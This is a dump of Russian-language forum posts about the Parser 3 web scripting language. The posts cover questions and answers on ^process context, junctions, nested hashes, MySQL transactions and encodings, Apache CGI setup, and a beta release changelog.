1.1 Оператор ^process[] как мне показалось не работает так как это в документации, возможно я не понял формулировку.\
[b]У меня:[/b]\
[code]\
@main[]\
\
$loc[mainvar]   # создадим переменную в методе main\
^fun[somewhere] # вызовем метод с просто чем нить (это не принципиально) и это метод напечатает в \"поток\" funvar\
       \
@fun[input][loc]\
$loc[funvar]\
^process{$loc}  # выдаст в поток на экран \"funvar\" \
[/code]\
\
Из докуменатции \
[quot]...Строка будет скомпилирована и выполнена как код на Parser, в указанном контексте, или в текущем контексте. \
В качестве контекста можно указать объект или класс, но не метод \
[b](т.е. если вы внутри вашего метода вызовите process, то внутри выполняемого с помощью process кода НЕ БУДУТ доступны локальные переменные вызывающего метода)[/b].\
[/quot]\
Я подозреваю, что не правильно понял что такое [b]внутри метода[/b] (может это ^fun[^process{code}] и не будут доступны локальные переменные @fun'a - приведите пример плиз того случая, который указан в документации.\
\
1.2. Контекст вызова ^process[context]{code}\
[b]У меня почти буквальный копипаст из примера:[/b]\
[code]\
@main[]\
\
$running_man[^man::create[]] \
^process[$running_man]{ \
    Имя: $name<br />          # Выдаст Имя:<пусто> - то есть такое ощущение, что объект в качестве параметра не канает, если я \
}                             \
@CLASS\
man\
\
@create[]\
$name[Вася]\
\
[/code]\
\
Когда делаю ^process[$man:CLASS] - то вроде канает (пишу не с этого компа - поэтому не помню, но помню что именно с объектом в качестве контекста\
запара, пробовал создавть $name[Вася] и в методе @auto[] у класса - результат тот же такое ощущение что $object не работает как контекст\
\
P.S.: Буду благодарен за отведенные грабли!\
Спасибо."
"70612","2. Junction\
Насколько я правильно понял есть 5 основных встроенных типов(классов)\
[code]\
$a[somestring] \
$a.CLASS_NAME          # string\
\
$b(10)\
$b.CLASS_NAME          # double, есть и int \
\
$c(1 > 0)              \
$c.CLASS_NAME          # bool \
\
$d{код на Парсер}\
$d.CLASS_NAME          # string (а не junction)\
\
$method.CLASS_NAME     # junction\
\
@method[]\
blah-blah\
[/code]\
\
Пояcните механизм? Я так понимаю $d{code} - хоть и является по понятиям документации junction, но на самом деле хранится\
как string на тот момент, а вдруг обращение к $d не будет и нет смысла компилить этот string как код Парсера-а, поэтому\
до последнего это string а не junction, то есть это особенности внутренней оптимизации Парсера - правильно?\
\
P.S.: Заранее спасибо, за отведенные грабли"
"70613","в вашем коде:\
[code]\
$loc[funvar]\
^process{$loc}\
[/code]\
\
в тело process подставляется содержимое переменной loc, и её содержимое (funvar) \"процессится\"\
\
представьте, что у вас в БД лежит парсерный код, и вам его надо выполнить. тут поможет process:\
\
[code]\
$var[^string:sql{получаем текст}]\
^process{$var}\
[/code]\
\
или более изощрённый пример: у вас в переменной лежит имя класса, а вам надо создать объект этого класса (сейчас это сделать без process невозможно, в 3.4.0 будет можно):\
\
[code]\
$class_name[date]\
^process{^$var[^^${class_name}::now[]]}\
^var.sql-string[]\
[/code]\
\
если вы временно удалите ^process{}, то парсер выведет $var[^date::now[]]\
\
это -- буквы, а не код (чтобы они не были кодом я экранировал служебные символы), и без process они выполнены не будут (как не выполняется то, что вы получили из БД или из файла и выводите на экран).\
\
по поводу контекста: да, объект не канает, канает только класс.\
сделано это было для того, чтобы с помощью process можно было добавлять новые методы к уже существующему классу."
"70614","3. Ссылка на класс...\
[b] В документации: [/b]\
[code]\
@main[] \
^method[$cookie:CLASS] \
\
@method[storage] \
$storage.field \
\
# Этот код напечатает значение $cookie:field. \
[/code]\
\
[b]Делаю так:[/b]\
[code]\
@main[]\
$t[$response:CLASS]\
$t.charset           # <пусто>, хотя\
$response:charset    # выдает WINDOWS-1251 (текущее значение статичекого поля)\
[/code]\
\
c $request тоже не прокатывает, с другими классами что-то работает таким образом\
поясните?!\
\
Спасибо"
"70615","типов больше, чем 5 (в доке они есть, например hash, table, hashfile, date, file, ...)\
\
junction -- НЕ строка. это код, который выполняется в момент каждого обращения к нему.\
\
в приведённом вами примере каждое его выполнение будет возвращать одну и ту-же строку, но это самый примитивный (и бессмысленный) пример использования junction.\
\
вот другой пример:\
\
[code]\
$j{\
	$d[^date::now[]]\
	^d.sql-string[]\
}\
$j\
^sleep(2)\
$j\
[/code]\
\
или вот (тут возвращаться будет НЕ string):\
[code]\
$j{^date::now[]}\
$j\
[/code]\
\
P.S. пожалуйста, уделяйте чуть больше времени чтению документации. там есть примеры, которые лучше чем те, что приводите вы"
"70617","Я понял, что $d{somecode} будет выполнять somecode - как код на Парсер при каждом обращении к $d\
меня интересует, что я в коде не могу проверить что $d - это код а не строка - так \
как $d.CLASS_NAME - говорит string а не junction\
\
то есть, например я хочу по ходу пьесы проверить что такое $d? is string, is dobule, is file ....\
\
$d{code} и $d[string] - одинаково возвращают $d.CLASS_NAME -> string \
 как мне в коде отличить что $d - это junction?"
"70618","очевидно, что не выполнив код, невозможно определить, что именно он возвращаем.\
\
P.S.\
[code]\
$j{^date::now[]}\
$j.CLASS_NAME => date\
[/code]\
происходит выполнение кода, и далее .CLASS_NAME результата. это скорее всего не то, что вам хочется."
"70620","4. Работа с данными в динамическом контексте паралельно накладывает отпечаток на статику - просто интересно знать\
механизм и для чего.\
[code]\
@main[]\
\
$myclass:a   # напечатает static\
\
$obj[^myclass::create[]]\
$obj.a       # напечатает dynamic\
$myclass:a   # напечатает уже dynamic\
\
^obj.method[]\
\
$myclass:a   # напечатает уже method\
 \
@CLASS\
myclass\
\
@auto[]\
$a[stat]\
\
@create[]\
$a[dynamic]\
\
@method[]\
$a[method]\
\
[/code]\
\
Я думал, что область данных выполняемых для объекта изолирована от статики, но получается что нет."
"70622","Жаль что проверка типа только после выполнения - так как выполнение кода может быть не желательным.\
Может внести в список \"возможных хотелок\" на будущее? Чтобы просто по типу скобок {} уже было ясно что это\
junction"
"70623","Все равно не врубился, в документации:\
[quote]т.е. если вы внутри вашего метода вызовите process, то внутри выполняемого с помощью process кода не будут доступны локальные переменные вызывающего метода[/quote]\
\
какой пример кода на Парсер демонстрирует именно этот случай поведения ^process"
"70624","http://www.parser.ru/docs/lang/defineclass.htm - там четко описано как происходит поиск переменной в статических и динамических методах."
"70625","готов выслушать предложение об организации логики работы например с таким кодом:\
\
[code]\
^if(условие){^date::now[]}{^file::create[]}\
[/code]\
\
:)"
"70627","[code]\
@main[]\
  ^method[]\
\
@method[][var]\
  $var[Name]\
  local: $var\
  ^process{process: ^$var }\
[/code]"
"70630","но, во-первых, это отдельный метод, что не всегда удобно для нефункционального куска кода и, во-вторых: в моём представлении разрыв шаблона, когда объявлен result, но его как такового в методе не значится:-)\
Проще отформатировать код."
"70631","или всё подобное хранится здесь http://www.artlebedev.ru/studio/vacancy/ ?"
"70632","и вообщем успокоился, junction не \"долгоиграющая\" пластинка и предназначен был в основном для \"проброса\" кода между методами\
и т.п. Поэтому, вопрос носил у меня больше теоритический характер, хочется быть увереным что понимаешь \"как это работает\".\
В реальности проверка на junction мне ни разу не пригождалась, как правило, пригождается только хранение имен классов, методов и ключей хеша в переменных, а выкрутасы с автогенерацией кода ли, стринга ли, проверка и запуск их в реальности бывает дурным тоном."
"70633","Сабж как каламбур :)\
\
Я делал:\
[code]\
^process{$locvar}  \
[/code]\
\
а надо:\
[code]\
^process{^$locavar}\
[/code]\
\
Извините, затупил, просто машинально уже не видишь порой. А в\
моем неправильном случае $locvar уже интерполировалась и в process попало тупо стринговое значение переменной.\
Все, спасибо, пример всегда наглядней пусть и не с первого раза."
"70634","Хочется иметь в типах\
^taint / ^untaint - раскраски еще тип или второй параметр:\
делать по мимо сущ оптимизации и whitespaces, еще удаление\
всех символов конца строк. Лучше даже наверное бы назначить\
такое поведение какой-нить глобальоной переменной в конфиге\
которая бы меняла поведение алгоритма optimized с включнием или\
выключнием удаления конца строк.\
$OPTIMIZE_MODE[normal | hard]\
Тогда не нужно было бы добавлять в сущ.код доп. ^taint и ^untaint\
так как Парсер по-умолчанию делает optimization, и при выдаче\
уже release-проекта в веб - выключаются debug-опции ошибок, и включается такой режим выдачи контента. \
Многие экономят на символах конца строк делая чуточку легче тело ответа вида:\
<HTML><HEAD><TITLE>Blah</TITLE></HEAD><BODY>sd</BODY></HTML>\
ну и так на глаз легкая обфускация HTML-кода для ленивых\
\
Еще можно конечно добавить 3-юю опцию $OPTIMIZE_MODE[paranoical]\
Удалять одиночные пробелы между тэгами, то есть\
<HTML> <HEAD><TITLE>Blah </TITLE> <BODY>... -  станет\
<HTML><HEAD><TITLE>Blah </TITLE><BODY>...\
\
\
P.S.:Можно, как сейчас, конечно ^match-ить в @postprocess тело ответа\
но это же затратно, нативным парсеровским механизмом явно быстрее, да и лаконичнее."
"70635","Уровень у всех разный, поэтому и условия мы предлагаем разные."
"70637","Думаю, Newbie хочет получать на выходе html одной строкой. trim для этого не годится.\
\
\
Newbie: если html-странички небольшие, то match в postprocess'е вполне пригоден. Можно ещё кешировать конечный html, если страницы статические.\
\
Если страницы с большим количеством данных и сложной структурой -- XSLT. В преобразовании есть опция для вывода результата без whitespaces."
"70638","[quote]или более изощрённый пример: у вас в переменной лежит имя класса, а вам надо создать объект этого класса ([b]сейчас это сделать без process невозможно, в 3.4.0 будет можно[/b])[/quote]\
\
Клёво! А есть пример, как это будет выглядеть?"
"70639","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/operators.txt?rev=1.222&content-type=text/vnd.viewcvs-markup\
\
Ctrl+F \"refl\" :)\
\
P.S. названия методов и их функционал не окончательные, как раз сейчас один переименовываю."
"70641","Большое спасибо за ваши ответы.\
Причина оказалась довольно банальна. Я думаю вы так и предполагали. Просто когда я спрашивал у службы тех. поддержки, есть ли поддержка CGI — мне отвечали Да. Однако под этим они подразумевали выполнение только CGI-скриптов написанных на Perд, это я узнал только вчера хорошенько «наехав» на них и пока мой запрос не переправили к ихнему главному админу. Так, что  просто хостинг план не позволяет. Для этого необходим виртуальный выделенный сервер, у меня же был обычный UNIX хостинг с поддержкой CGI(как оказалось perl).\
Уставил на локальном компе Win32 версию — без проблем, все работает. Еще раз спасибо, что забрал ваше драгоценное время."
"70644","- для браузера обычно нет разницы, \\n там или space (кроме <pre /> & Co)\
- это может поломать тексты (слова могут слипнуться, если где-то использовался перевод строки вместо пробела)\
- удаление пробелов между тегами небезопасно, т.к. это тоже может поломать тексты: <b>я</b> <i>крут</i> \
- \"обфускация\" идёт в задницу, т.к. большинство редакторов умеют форматировать html/xml\
- много этим не соптимизируешь\
\
=>\
\
мизерная оптимизация vs куча потенциальных проблем. в топку.\
\
P.S. для тех, кто это всё таки хочет, это реализуется элементарно с помощью match или даже replace, и работает это быстро (ну... в 3.4.0). можете проверить хоть на одно-мегабайтном тексте."
"70648","Всем доброго времени суток!\
В Уроке 4. Шаг второй - переходим к работе с БД строка подключения \
прописывыется в корневом файле auto.p перед методом main в методе auto\
в виде \
@auto[]\
$connect_string[mysql://root@localhost/p3test] \
\
правильно или это только пример для обучения?\
поделитесь опытом кто как подключается к БД..."
"70649","Если auto.p является местом хранения настроек (а, чаще всего, так оно и есть), то правильно хранить такое там."
"70654","Код на http://code.google.com/p/parser3-pf/"
"70658","подключил клас авторизациииз примеров, проверил работает...\
но не могу понять где прописывать строку доступа к страницам...\
Пример:\
 каталог admin/index.html\
 как мне прописать чтобы если юзер не активирован, то срабатывала переадрисация на форму входа, если прошёл авторизацию то в админский раздел.\
как будет выглядеть строка сверяющая данные из куки с данными в БД?"
"70660","ещё хорошая практика — хранить вне веб-пространства, например в файле конфигурации парсера"
"70661","Добрый день!\
\
Уже несколько лет я не работал с парсером, хотя до этого долгое время работал с ним. Помню, что там были определенные тонкости с кодировками и вот сейчас, похоже, я столконулся с этими тонкостями.\
\
Нужно кое-что обновить в одном из проектов, который делал 4 года назад и перенести его на другой сервер и в процессе этого возникли сложности.\
\
Попутно я решил перевести всё в utf-8: и базу и файлы сайта. Сделал дамп базы в cp1251, перекодировал его в utf8 с помощью iconv'а, написал скрипт, которые перекодировал все .html, .p и .cfg файлы из cp1251 в utf8, поставил $request:charset[utf8] и $response:charset[utf8].\
\
После этих операций сайт стал нормально выдавать всё в юникоде. Однако, как только я делаю какой-то UPDATE или INSERT в базу, весь русский текст из этого запроса сохраняется в базе в виде вопросительных знаков. Перечитал всё, что касается кодировок в документации, поискал по форуму - так и не удалось решить проблему.\
\
Помогите, пожалуйста!\
\
PS: стоит это всё на Ubuntu (64 bit), mysql 5.0.57"
"70662","обратите внимание на $response:content-type и ?charset= (или ?ClientCharset=) в строке соединения с SQL.\
\
ещё обратите внимание на ваш дамп: не указана ли там кодировка таблиц, и если не указана, то уточните, какая у вас кодировка по умолчанию для БД (если она 1251, а кодировка таблиц не указана, то в результате в таблицах после их создания и загрузки перекодированного оказалось всё \"побитое\")."
"70664","Есть ли дока по этому поводу?\
Я так понял что \
[code]^connect[$connect_string]{$code >}< тут commit transaction?[/code]\
а где тогда начинается:\
begin transaction\
или его самому вписывать нужно?"
"70665","Большое спасибо! Оказалось, что кодировка самой базы была latin1. Пересоздал базу с charset utf8 и всё стало нормально.\
\
Ещё раз спасибо!"
"70666","Если нужны \"натуральные\" транзакции, то стоит это сделать руками, прописав в строке соединения autocommit=0."
"70667","строка подключения в корневом auto.p[code]\
$connect_string[mysql://root@localhost/firts?autocommit=1] \
^connect[$connect_string]{$code} [/code]\
\
и [code]@status[]\
^if(^userId[] != 0){\
^MAIN:dbconnect{\
	$user[^table::sql{SELECT `id`,`login`, `status` FROM `user` WHERE `session` = '$cookie:session'}]\
	^navigation[] \
}}[/code]\
\
Что Вы имели ввиду \"натуральные\".\
Ссылка это я так понимаю класс. А описание работы есть? Т.е. где мне начать и кончить транзакцию и каким методом?"
"70668","Шаблон для mysql:\
[code]\
  ^connect[mysql://name:passwd@localhost/database?autocommit=0]{\
    ^void:sql{begin transaction}\
    ^try{\
      ^void:sql{insert into ...}\
      ^void:sql{commit}\
    }{\
       ^void:sql{rollback}\
       ...\
     }    \
  }\
[/code]\
\
В принципе в [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/sql/pfSQL.p]некоторых sql-классах[/url] есть обертки, которые упрощают работу с транзакциями."
"70670","тоесть данная Вами конструкция без Класса работать не будет? а правельно понял?\
http://www.parser.ru/examples/sql/ - и использовать нужно этот класс?"
"70672","На денвере работает:\
[code]$str[^math:uuid[]]\
$hash[^math:sha1[$str]][/code]\
а на хостинге вот такая ошибка?\
classes/login.p(21:45): 'sha1' undefined method [parser.runtime]\
\
Что может быть? или это к хостеру?"
"70673","подключил клас авторизации из примеров, проверил работает...\
но не могу понять где прописывать строку доступа к страницам...\
Пример:\
каталог admin/index.html\
как мне прописать чтобы если юзер не активирован, то срабатывала переадрисация на форму ввода пароля и лога, а если прошёл авторизацию то в админский раздел.\
как будет выглядеть строка сверяющая данные из куки с данными в БД?"
"70674","метод sha1 появился не очень давно, похоже на хостинге установлена старая версия."
"70677","Продолжая \"серию тупых вопросов\" в ходе погруженного изучения Парсера экспресс-методом. Из документации не очевилно, на форуме куча мимо темы - поэтому не нашел.\
\
5. ЗАДАЧА - наполнить двумерный хеш динамически. Одномерный, то без проблем.\
   Рассуждая в природе хеша - двумерный хеш - это обычный одномерный хеш, где в значении каждого ключа хранится\
   отдельный самостоятельный хеш, а наверное ссылка на хеш.\
\
Всяко пробовал - по-человечески эта элементарная задача не выходит.\
[code]\
# Вариант 1\
$myhash[^hash::create[]]\
^for[i](0;10){\
      ^for[j](0;10){\
                       $myhash.$i.$j[x=$i y=$j]    # Выдаст ошибку о том, что ТАК нельзя\
\
                   }\
             }\
$myhash.3.10    # До этого дело не доходит\
[/code]\
\
[code]\
# Варинат 2 - более извращенный\
$ihash[^hash::create[]]\
$jhash[^hash::create[]]\
^for[i](0;10){\
          ^for[j](0;10){\
                           $jhash.$j[x=$i y=$j]  # \"Набиваем\" одномерный хеш $jhash.0..10[]\
                       }\
                           $ihash.$i[$jhash]     # \"Набиваем\" одномерный хеш $ihash.0..10[$jhash-ами]\
             }\
$ihash.0.5  # Выдаст x=10 y=5\
$ihash.3.3  # Выдаст x=10 y=3\
$ihash.6.5  # Выдаст x=10 y=5\
#\
# Видимо это происходит потому, что $jhash в каждом цикле перетирается - и то что заносится в $ihash - это все ссылка на один и тот же hash\
# отсюда видимо следует что и так - не прокатит - и нужно $ihash набивать $jhash-ем методами типа add  или union\
[/code]\
\
Получить \"эффект\" ручного создания многомерного хеша ^process-ом тоже не выходит, то есть:\
Отэкранировать \"птичкой\" и положить это в ^process[] ничего не дает - ругается\
$myhash[\
         $.0[ $.0[..] $.1[..]]\
         $.1[ $.0[..] $.1[..]]\
]\
\
\
Не по-уродски - как у меня - эта простая примитивная задача решается?"
"70678","[code]\
$myhash[^hash::create[]]\
^for[i](0;10){\
	$myhash.[$i][^hash::create[]]\
	^for[j](0;10){\
		$myhash.[$i].[$j][x=$i y=$j]\
	}\
}\
[/code]\
\
или, чуть оптимальнее (меньше глубоких лукапов):\
[code]\
$myhash[^hash::create[]]\
^for[i](0;10){\
	$hi[^hash::create[]]\
	^for[j](0;10){\
		$hi.[$j][x=$i y=$j]\
	}\
	$myhash.[$i][$hi]\
}\
[/code]\
\
\
а вообще вы бы описали решаемую _задачу_ (а не требуемый алгоритм)... скорее всего для её решения средствами парсера есть что-то более элегантное."
"70679","но информация об autocommit есть и в [url=\"/docs/lang/app3mysql.htm\"]доке[/url]\
\
что касается начала транзакции, то мне кажется очевидным, что если в режиме без автокоммита закрывающая скобка является окончанием транзакции, то открывающая -- её началом :)"
"70680","...в чистом виде, хотел сгенерить большой размер и \"поиграть\" с хешфайлами, и прочее.\
То есть задача не практическая, а исследовательская так сказать.\
P.S.: Спасибо, за своевременную помощь."
"70681","Вернее можно, но прийдется делать метод который будет сериализовывать/десериализовывать вложенные хеши в строку."
"70682","Я не нашел."
"70684","Есть ли у кого сборка?"
"70687","Уже есть Gold master и он врятли будет отличаться от релиза. Думаю есть смысл собрать. Я пока немогу разобраться как это сделать."
"70688","В контексте посимвольного сравнения.\
 \
Если есть возможность, бросьте путёвой ссылкой, можно алгоритм или пример кода.\
\
P. S. Погуглил, но увы путних результатов не нашел."
"70689","... то есть масса вариантов. Несколько ссылок по теме:\
Теория:\
http://itman.narod.ru/articles/articles_fz_search.html\
http://algolist.manual.ru/sort/mqs/fast_strings6.php\
http://www.citforum.ru/SE/project/fuzzy_comp/ (куча математики)\
\
Практика:\
http://www.delphikingdom.com/asp/viewitem.asp?catalogid=722\
http://www.delphikingdom.com/asp/viewitem.asp?catalogid=1147"
"70690","Нужно сравнить так:\
\
$str1[Хороший у вас пример.]\
$str2[Хороший у нас пример...]\
\
Результат: Хороший у [color=\"red\"]н[/color]ас пример.[color=\"red\"]..[/color]"
"70692","[code]\
  $str1[Хороший у вас пример.]\
  $str2[Хороший у нас пример...]\
  \
  $i(0)\
  ^str2.match[(.)][g]{^if($match.1 ne ^str1.mid($i;1)){<span style=\"color: red^;\">$match.1</span>}{$match.1}^i.inc[]}\
[/code]"
"70693","можно ли на парсере реализовать нанесение надписей на фото (копирайт) вертикально снизу вверх в правом углу?\
\
не приложу ума как это сделать!"
"70694","[url=\"http://www.kulikoff.net/parser3/img/\"]Можно[/url]"
"70696","Продолжая нумерованную \"серию тупых вопросов\" в ходе изучения парсера, пробую всяко крутить предложенные методы\
вот что не работает, создание своего for'a через for - по наводке примера из документации, но без ^var.inc[]\
[code]\
$i(0)\
^myfor[i](0;10){ $i } # Выдаст 0-0-0-...\
\
@myfor[name;start;end;code]\
  ^for[caller.$name]($start;$end){ $code  }[-]\
       \
[/code]\
\
P.S: Конечно, вариант из примера - приращать руками ^caller.$name.inc[] - работает, но вот\
     в ^for \"погрузить\" - никак. Подозреваю это особенности самого ^for и его внутрепарсеровского метода влиять на переменную имя которой\
     передается в параметре."
"70697","Часто востребованная задача - вызвать объект,класс,метод - имя которых задано переменными.\
Можно всё через ^process{}, а знаю, что можно через $mvar[$$var], туплю не пойму что попадает в такой конструкции в $mvar?\
Какие еще есть более красивые способы и как это будет в Parser 3.4.0 ?"
"70698","[code]\
  $name[i]\
  ^for[caller.$i](1;2){\
    $[caller.i] <- именно так воспринимает for вашу конструкцию\
    Фактически он ищет переменную с именем \"caller.i\", а не пытается\
    сделать вызов $caller.$i\
  }\
[/code]\
\
Я надеюсь не стоит объяснять, что цикла while достаточно, чтобы реализовать любой for. :)"
"70699","В myvar попадает ссылка на функцию (junction-method) - это очевидно. :)"
"70700","Задача: проверить физ.существование файла на диске. \
Задача вроде проще простой - но соответствующего метода в Parser'e не нашел.\
\
Первое ощущение что не хватает статического метода ^file:exist[dir/filename]\
\
- Хотел сделать через статические методы типа ^file:basename и ^file:justname но обнаружил, что они не обращаются вообще к диску -\
а работают просто со стрингом. \
- ^file::load[] - не хочется - зачем загружать файл если просто хочется проверить его существование\
- ^file:find[]  - не хочется - зачем рыскать по всему диску если файла нет в текущей папке\
- Парсить содержимое текущего каталога - тоже может оказаться затратно - если много файлов\
- ^file::stat - тоже ругается если файла нет - (а зря кстати)\
\
Вообщем единственный какой я навскидку нашел способ - это делать ^try{ от ^file::stat[] ...\
P.S.: По наитию не хватает одного из вариантов:\
[code]\
 ^file::stat[filename]  # создает объект даже если файла нет, но поле добавить поле $file.exist(True|False)\
 ^file:exist[filename]  # статический метод на запрос о существовании файла - самый имхо простой и нужный\
[/code]"
"70702","... интересно теоритически в ^for пусть даже \"через одно место\", можно как нить можно пробросить ссылку на переменную из $caller.i ?"
"70704","... вообще стыдно что не увидел в операторах - быстро привыкаешь к классам и их методам...\
Спасибо - реально полночи не спал. Инет временно только в интернет-кафе - поэтому в оффе сижу"
"70706","Сядьте и прочитайте всю документацию подряд.\
Просто от корки до корки, ничего не выполняя.\
\
Впоследствии, при задачах сразу будут вспоминаться подходящие инструменты."
"70707","Не поделится кто-нибудь файликом font.gif с алфавитом на двух языках?\
\
Буду очень признателен!"
"70708","не работает, почему?\
\
<title>^title[]</title>\
\
@title[]\
$sections[^table::load[/sections.cfg]]\
^if(^sections.locate[uri;$request:uri]){ \
   <p>$sections.name</p>\
}{ \
    site\
}"
"70709","1. http://www.parser.ru/faq/forum/\
2. } { -> }{"
"70710","Сайт написан на parser.\
Требуется частичный редизайн главной страницы (шаблон дизайна готов). А также небольшие изменения в системе управления сайтом.\
ICQ 577017269"
"70711","@navigation[] \
$sections[^table::load[/sections.cfg]]  \
<ul>^sections.menu{^navigation_cell[]}</ul>\
\
@navigation_cell[] \
^if($sections.uri eq $request:uri){ \
   <li><span class=\"nav\">$sections.name</span></li>\
   }{ \
   <li><a href=\"$sections.uri\">$sections.name</a></li> \
   } \
\
@title[]\
[i]$sections[^table::load[/sections.cfg]][/i] - без этой строки выдает ошибку, но почему не используется уже загруженная таблица из @navigation[] \
^if(^sections.locate[uri;$request:uri]){$sections.name}\
\
@header[]\
<title>^title[]</title>\
...."
"70712","А вот так всё работает.\
@title[]\
$sections[^table::load[/sections.cfg]]\
^if(^sections.locate[uri;$request:uri]){$sections.name}\
\
@navigation[]   \
<ul>^sections.menu{^navigation_cell[]}</ul>\
\
@navigation_cell[] \
^if($sections.uri eq $request:uri){ \
   <li><span class=\"nav\">$sections.name</span></li>\
   }{ \
   <li><a href=\"$sections.uri\">$sections.name</a></li> \
   }"
"70713","Вобщем ставил из исходников на ubuntu server 8.04\
все поставилось, если из браузера набрать \
[code]http://localhost/cgi-bin/parser3[/code]\
выдает Parser/3.3.0\
значит сам парсер нормально поставился и работает\
\
в htaccess прописано \
\
[code]AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>[/code]\
\
в логах апача пишется\
[code]/var/www/html/.htaccess: Invalid command 'Action', perhaps mis-spelled or defined by a module not included in the server configuration[/code]\
\
\
нашел на форуме [url=\"http://www.parser.ru/forum/?id=30845\"]http://www.parser.ru/forum/?id=30845[/url] подобное описание проблемы..\
посмотрел проверил.. у меня с этим все в порялке все модули подключены\
\
AllowOverride All  стоит ...\
\
что еще может быть ?"
"70714","[url=http://httpd.apache.org/docs/2.2/mod/mod_info.html]Server-info[/url] что показывает?"
"70715","работоспособность проверить как незнаю, но файл присутсвует в каталоге /usr/lib/apache2/modules/mod_actions.so\
\
и он путь к нему прописан в /etc/apache2/mods_available/actions.conf\
/etc/apache2/mods_available/actions.load\
\
хотя вот в папке\
\
/etc/apache2/mods_enabled/  его нету.. может дело в  этом ?\
\
\
если прописать еще раз путь к нему в httpd.conf\
то апач не стартует и выдает ошибку\
\
\
apache2: Synax error бла бла бла.. где он ссылается на то где я mod_actions указал .\
Can't locate API module structure 'action_module' in file /usr/lib/apache2/modules/mod_actions.so: /usr/lib/apache2/modules_mod_actions.so undefined symbol: action_module"
"70718","кому интересно.. надо было просто сделать сиволическую ссылку на модуль actions"
"70722","Подключил класс авторизации из примеров, вхожу под паролем, но при попытке изменить пароль или регистрации нового выдаёт ошибку\
\"При сохранении новых параметров пользователя возникли следующие проблемы: unknown.\"\
Где копать ?"
"70723","из файла  _auth_setpwd.html пароль изменяется, а из _auth_profile.html нет..."
"70724","Код с ошибкой:\
[code]^try{\
				^rem{ *** регистрация нового пользователя *** }\
				^auth.insertUser[$form:fields]\
\
				^rem{ *** если регистрация прошла успешно - логиним пользователя *** }\
				^auth.logon[\
					$form:fields\
					$.[auth.logon][do]\
				]\
				<p>Пользователь успешно зарегистрирован.</p>\
				$is_show_form(0)\
			}{\
				$exception.handled(1)\
^rem{ *** Добавил для вывода строки и типа ошибки *** }\
				$exception.source\
				$exception.type\
				$exception.lineno\
				$errors[^auth.decodeError[]]\
				<p>При регистрации нового пользователя возникли следующие проблемы: ^errors.menu{$errors.name}[, ].</p>\
			}[/code]\
\
Вывод на странице:\
[b]Lib.p auth.insert.parser.runtime 678\
\
При регистрации нового пользователя возникли следующие проблемы: unknown.[/b]"
"70725","в файле  auth.p подключается эта библиотека \
[code]@isEmail[sEmail]\
^use[Lib.p]\
$result(^Lib:isEmail[$sEmail])\
#end @isEmail[][/code]\
\
try натыкается на неё и генерирует ошибку...\
Привёл в соответствие:\
^use[/Lib/Lib.p]\
Всё работате!"
"70728","В новую версию отличной яваскрипт-библиотеки раскраски синтаксиса highlight.js добавлена поддержка Парсера. \
\
Сайт проекта: http://softwaremaniacs.org/soft/highlight/"
"70730","- Дальнейшие внутренние оптимизации\
\
- Добавлен статический класс reflection, с помощью методов которого можно получать информацию об объектах, классах и их методах. Кроме этого можно зная имя класса и метода создать объект класса, не используя хаки с process. Описание класса пока доступно в [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/operators.txt?rev=1.224&content-type=text/vnd.viewcvs-markup\"]operators.txt[/url]\
\
- При обращении к несуществующему классу (из @USE, ^use или при прямых вызовах, например: ^unknown:method[]) происходит вызов оператора @autouse[параметр], где в параметре передаётся имя запрошенного класса.\
\
- У дочернего класса теперь не обязательно декларировать конструктор (т.е. больше не нужно писать фактически пустой конструктор, содержащий лишь ^BASE:create[...]).\
\
- Исправлена ошибка некорректной записи cookie при указании у неё bool-аттрибута со значение false\
\
- Исправлена неоптимальность в поиске по шаблону с запоминанием (круглые скобки в шаблоне). Ускорение особенно заметно при поиске по шаблону в больших текстах.\
\
- Исправлена ошибка и конструкция $пустая_таблица.fields теперь возвращает пустой хеш.\
\
- $таблица.fields теперь работает и для nameless таблиц\
\
- Исправлена ошибка, из-за которой формировался некорректный HTTP запрос при выполнении ^file::load[...;http://...] в случае, если в указанных для отправки cookies содержался «чистый» символ перевода строки.\
\
- Исправлена ошибка, из-за которой при выполнении ^file::load[...;http://...] «чистые» символы в переданном URL и $.body не перекодировались в указанную кодировку.\
\
- Ещё одно (надеюсь, что окончательное) исправление в определении кодировки пришедшего post запроса ($request:post-charset). Раньше кодировка могла определиться, только если там было указано UTF-8, иначе был exception unknown charset.\
\
- У ^file::exec на unix количество передаваемых параметров увеличено с 50 до 100.\
\
- Исправлено несколько багов, добавленных в beta1.\
\
\
брать [url=\"/download/beta/\"]тут[/url]\
\
[url=\"/forum/?id=70368\"]список изменений[/url] предыдущей бета версии."
"70731","Запрос все еще актуален!"
"70732","#uname -a\
FreeBSD border.test 4.11-STABLE FreeBSD 4.11-STABLE #1: Tue Mar 28 14:40:24 EEST 2006  i386\
\
#./parser3.cgi\
./parser3.cgi: file not specified\
Parser/3.3.0 (compiled on i386-unknown-freebsd4.11)\
Copyright(c) 2001-2008 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
======\
Проблема:\
 пример\
  $var[text]\
  ^var.int(1024)\
приводит к \
Premature end of script headers: /parser/parser3.cgi\
\
куда копать?"
"70733","Такая проблема возникла.. все работает.. но тест когда делаю то вот эти ошибки выходят\
\
система linux server ubuntu\
права на parser3 стоят rwx-rx-rx\
группа root\
\
вроде все должно быть и работать а не работает.., что еще v;yj посомтреть ? куда глянуть \
\
[code]Работа с файлами (класс $file)\
\
Запись таблицы $tbl1 в файл _test.cfg (^tbl1.save[_test.cfg]): нет доступа для записи файла \
^file:dirname[/_test.cfg]: /\
^file:basename[/_test.cfg]: _test.cfg\
^file:justname[/_test.cfg]: _test\
^file:justext[/_test.cfg]: cfg\
Работа с классом $hashfile\
\
Создаем объект: $hf [$hf[^hashfile::open[_test]]]: нет доступа для записи файла[/code]"
"70734","#cat test\
$var[1024]\
$var\
^var.int[]\
$var[text]\
^var.int(1024)\
\
\
#./parser3.cgi test\
Illegal instruction - core dumped"
"70735","В качестве гиппотезы:\
\
^var.int(1024) - без этого работает?\
Если работает, то какая-то проблема с исключениями\
(то есть предположительно с библиотеками C++).\
